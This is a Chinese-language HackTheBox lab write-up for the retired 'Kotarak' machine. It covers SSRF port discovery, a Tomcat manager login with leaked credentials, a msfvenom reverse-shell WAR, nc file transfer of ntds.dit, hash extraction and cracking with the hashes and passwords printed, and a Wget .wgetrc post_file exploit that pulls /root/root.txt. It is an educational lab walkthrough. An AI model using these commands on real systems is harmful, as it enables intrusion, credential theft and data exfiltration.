kotarak(从ssrf到提权-ntds-dit提取密码)

本文首发于先知社区

前言

hackthebox是一个在线的渗透平台,通过渗透获取邀请码,即可在这个平台上注册一个账号。

该平台的在线靶机一共20台,每周会下线一台靶机,如果靶机下线了呢,分数就会全部清空。而成功渗透靶机就能获取一定的分数,分数够了就能提升等级。

在线的靶机都是没有writeup的,所以你的等级很大程度可以证明你的渗透实战能力。

该平台一共7个用户等级,刚注册是等级Noob:

  1. Noob 无知者
  2. script kiddle 脚本小子
  3. hacker 黑客
  4. Pro hacker 专业黑客
  5. Elite Hacker 精英黑客
  6. Guru 大师
  7. Omniscient (最高等级)无所不知者

靶机的分数为20-50分

  1. 20分-easy 简单
  2. 30分-medium 中等难度
  3. 40分-hard 困难的
  4. 50分-Insane 疯狂的

下面介绍关于过期的机器kotarak的渗透过程,难度等级为hard。

扫描

用masscan与Nmap工具分别输入以下指令:

1
2
3
4
5
masscan -p1-65535,U:1-65535 10.10.10.55 --rate=1000 -e tun0 -p1-65535,U:1-65535 > ports

ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')

nmap -Pn -sV -sC -sU -sT -p$ports 10.10.10.55

扫描结果提示,22、8080、8009以及60000端口开放。

8080web探测

首先访问http://10.10.10.55:8080,显示HTTP Status 404 - /,状态码404 not found。于是枚举目录。

dirb http://10.10.10.55:8080

1
2
3
4
5
6
7
8
9
+ http://10.10.10.55:8080/docs (CODE:**302**|SIZE:0)

+ http://10.10.10.55:8080/examples (CODE:302|SIZE:0)

+ http://10.10.10.55:8080/favicon.ico (CODE:200|SIZE:21630)

+ http://10.10.10.55:8080/host-manager (CODE:302|SIZE:0)

+ http://10.10.10.55:8080/manager (CODE:302|SIZE:0)

发现基本上都是302重定向。

于是访问下 http://10.10.10.55:8080/manager

发现302重定向到http://10.10.10.55:8080/manager/

并且状态码是404。但是404页面有个提示,tomcat 7重构并且有些urls已经改变。所有使用管理应用的urls现在应该使用如下选项:

/manager/html for the HTML GUI
/manager/text for the text interface
/manager/jmxproxy for the JMX proxy
/manager/status for the status pages

我们就按照所说的访问一下。发现所给的urls都需要登陆才能访问。

再搜索下 Apache Tomcat 8.5.5。参考

tomcat是java web服务器

尝试访问:http://10.10.10.55:8080/index.jsp ,200ok。

60000端口-web探测

SSRF-服务端请求伪造

没有经验的小白先跟whale学习下。
该漏洞经常出现在服务端,一些web应用程序经常从其他server获取信息。

客户端 (去B服务器取回图片 !)——》A服务端(执行)————》B服务器(返回图片)————》A服务器(执行完毕)————》客户端(收到图片)

攻击方式:

客户端(去扫描B服务器 !)——》A服务端(执行)————》B服务器(返回数据包)————》A服务器(执行完毕)————》客户端(收到扫描结果)

服务器没有过滤客户端的请求。本来设计的功能想法是好的,但是攻击者不打算以设计者的想法来使用这个功能。

1
使用这个私人的web浏览器匿名在网络冲浪,请不要滥用它。
  • Trying

    1
    2
    3
    python -m SimpleHTTPServer
    ifconfig
    在本地开启服务器,查看本地ip

    尝试用浏览器上的该功能访问下本地,是否成功。
    输入http://本地ip:8000
    浏览器跳转到一个地址http://10.10.10.55:60000/url.php?path=http://本地ip:8000
    成功访问客户端本地地址。

  • Trying

然后尝试ssrf,提交file:///etc/passwd
返回try harder
尝试File FIlE ,同样的返回结果。说明目标机可能用正则表达式限制了file这个字符。

  • Trying
    尝试http://localhost:60000 返60000端口上的正常页面。
    因为端口扫描那一步客户端访问都是302重定向,需要登陆才能访问,于是我们通过60000端口上的“搜索”功能,绕过对客户端的限制。让服务器替我们获取想要的信息。

wfuzz

  • 这是一个web扫描软件
    可以用wfuzz -h 查看使用方式
    我们使用下列参数,扫描服务器开放的端口
    wfuzz -c -z range,1-65535 http://10.10.10.55:60000/url.php?path=http://localhost:FUZZ

图片中,2 Ch是响应的字符串,访问后发现没有任何有价值的东西,于是我们忽略它。
wfuzz -c -z range,1-65535 --hl=2 http://10.10.10.55:60000/url.php?path=http://localhost:FUZZ
扫描后,我们得到了非2 Ch的响应结果。
看到了很多端口信息,因为客户端nmap扫描是远程访问,有 防火墙等等,所以在这里会得到更加详细的(在远程扫描不到的)端口信息。

  • trying
    一个一个访问这些开放了的端口,http://10.10.10.55:60000/url.php?path=http://localhost:端口
    在888端口,找到了一个备份页面backup。

  • Trying

http://10.10.10.55:60000/url.php?path=http://localhost:888/?doc=backup

得到了可能是tomcat配置文件中的用户名密码。

(有一个小技巧,在端口扫描那一步,得到了不能访问的文件名,可以用ssrf去访问,来获取敏感文件。)

我们用这个口令登陆端口扫描那一步获得的地址manager/html

获取shell

刚刚通过ssrf获取敏感文件,从而突破防线,接下来,我们要获取一个shell。

因为主页面上有上传功能,提示:

1
2
3
deploy directory or WAR file located on server.
war file to deploy
select war file to upload.

暗示了我们可以上传一个war类型的反弹shell。

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.8 LPORT=1234 -f war > ippsec.war

War——web归档文件,war文件用于封装web模块。web模块可以代表一个独立的web应用程序。

  • Trying

成功上传——本地nc监听80端口nc -lnvp 1234——浏览器访问payload地址,即可获得一个shell。

  • shell中运行

python -c 'import pty;pty.spawn("/bin/bash")' 于是获得一个bash shell。

  • find . -name “user.txt” 2>/dev/null
    /home/atanas/user.txt 无读取选项

用户提权

经过之前步骤,我们获得了一个tomcat用户权限的shell,可以看到有一些文件是不允许访问的。接下来看看如何获取root权限。

cd /home/tomcat/to_archive/pentest_data

在用户家目录下,发现一个ntds.dit文件。以前没做过域渗透,(⊙﹏⊙)稍微去了解了下,ntds.dit即目录数据库,用于windows域。

文件传输

将那两个文件用nc发送到攻击机本地

1
2
3
kali:   nc -lvnp 443 > SYSTEM
shell: nc 10.10.14.5 443 < 20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin
kali: file

同样的方式,把另一个文件用ntds.dit作为文件名传送到本地

方法二:

发现nc传输,当文件大时,十分不方便

远程shell:python -m SimpleHTTPServer 7788
本地kali:

1
2
wget http://10.10.10.55:7788/20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin
wget http://10.10.10.55:7788/20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit

工具介绍

安装

简而言之,下面的工具就是用来提取目录数据库中保存的hash的。

libesedb

1
2
3
4
5
6
7
8
9
10
11
git clone https://github.com/libyal/libesedb.git
cd libesedb/

apt-get install git autoconf automake autopoint libtool pkg-config build-essential

./synclibs.sh
./autogen.sh
./configure 将源代码编译
make
make install
ldconfig

ntdsxtract

1
2
3
git clone https://github.com/csababarta/ntdsxtract
cd ntdsxtract
python setup.py build && python setup.py install

使用方法:

video:提取hash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
esedbexport -m tables ntds.dit 
该命令运行后,会生成一个文件夹,ntds.dit.export

cd ntds.dit.export;ls
可以查看生成了一些文件,注意datatable.3、link_table.5

文件绝对路径:
1. /root/Desktop/10.10.10.55/ntds.dit.export/datatable.3
2. /root/Desktop/10.10.10.55/ntds.dit.export/link_table.5
3. 20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin
重命名为SYSTEM

dsusers.py 路径1 路径2 hashdump(生成的文件夹名称) --syshive 文件3 --passwordhashes --lmoutfile lmout.txt --ntoutfile ntout.txt --pwdformat ophc

最终的命令
dsusers.py /root/Desktop/10.10.10.55/ntds.dit.export/datatable.3 /root/Desktop/10.10.10.55/ntds.dit.export/link_table.5 hashdump --syshive SYSTEM --passwordhashes --lmoutfile lmout.txt --ntoutfile ntout.txt --pwdformat ophc

在生成的文件夹hashdump,可以找到ntout.txt

ntout.txt的内容如下
Administrator:::e64fe0f24ba2489c05e64354d74ebd11:S-1-5-21-1036816736-4081296861-1938768537-500::
krbtgt:::ca1ccefcb525db49828fbb9d68298eee:S-1-5-21-1036816736-4081296861-1938768537-502::
atanas:::2b576acbe6bcfda7294d6bd18041b8fe:S-1-5-21-1036816736-4081296861-1938768537-1108::

复制2b576acbe6bcfda7294d6bd18041b8fe,在在线密码破解网站https://crackstation.net/

用户名 密码
Administrator f16tomcat!
atanas Password123!
krbtgt 破解失败

su atanas

atanas作为用户名,f16tomcat!作为密码,成功获得atanas用户权限

获得user flagcat ~/user.txt

root提权

kali:python -m SimpleHTTPServer 80

远程shell:

1
2
3
cd /tmp
wget http://10.10.14.5:80/LinEnum.sh
chmod a+x LinEnum.sh; ./LinEnum.sh

find . -name “root.txt” 2>/dev/null
未找到

线索app.log

app.log暗示了我们10.0.3.133的wget版本Wget/1.16

wget -V,发现主机10.10.10.55的Wget版本为 1.17.1

有一个主机10.0.3.133,每两分钟获取主机10.10.10.55的/archive.tar.gz文件。

1
2
3
4
searchsploit Wget
GNU Wget < 1.18 - Arbitrary File Upload / Remote Code Execution

searchsploit -m exploits/linux/remote/40064.txt

查看40064.txt


信息搜集

ifconfig

1
2
eth0 inet addr:10.10.10.55
lxcbr0 inet addr:10.0.3.1

arp -a 查看本地arp缓存表。
显示局域网ip有两个,10.10.10.2 10.10.3.133
shell终端运行nmap,显示不能用。
那么用nc来扫描端口:
nc -v 10.10.3.133 445
nc -v 10.10.3.133 3389
nc -v 10.10.3.133 22
只有22端口显示succeeded。
这一步骤为了确定ip133的是什么机器,显然是linux机器。

看来我们要提权10.10.3.133的root权限,来获得root.txt

wget漏洞利用

利用思路

当133主机请求10.0.3.1的archive存档文件时候,3.1会提示404不存在。

如果我们用kali开启ftp服务,并且让3.1重定向到kali-ftp,于是133主机就会取回.wgetrc作为全局初始化配置文件。

.wgetrc提示发送/root/root.txt,于是133就将本机的机密文件发送给了10.0.3.1

利用过程

kali-ip : touch exp.py
touch .wgetrc

.wgetrc文件内容,保存的绝对路径为/root/.wgetrc

1
2
post_file = /root/root.txt
output_document = /etc/cron.d/wget-root-shell

wgetrc是一个全局初始启动的配置文件
post-file选项使你选择一个具体的文件发送
output_document选项,使下载的文件以你设置的文件名保存

exp.py内容
https://raw.githubusercontent.com/Teckk2/Teck_k2/master/Kotarak-wget.py
将exp修改ftp的ip为kali的,然后上传至10.10.10.55。

kali:

1
2
3
pip2 install pyftpdlib 
python -m pyftpdlib -p 21 -w
以路径/root,kali开启ftp服务器

kali上传wget.py到远程主机:
python -m SimpleHTTPServer 8080

远程shell :

1
2
wget http://10.10.14.5:8080/wget.py
authbind python wget.py

稍等两分钟,10.10.10.55的shell就会返回执行结果,成功获得10.10.3.133的/root/root.txt文件。

如果将.wgetrc文件进行修改,即可获得任意10.10.3.133的文件,包括/etc/shadow。

参考资料:

从ntds-dit提取密码的三种方式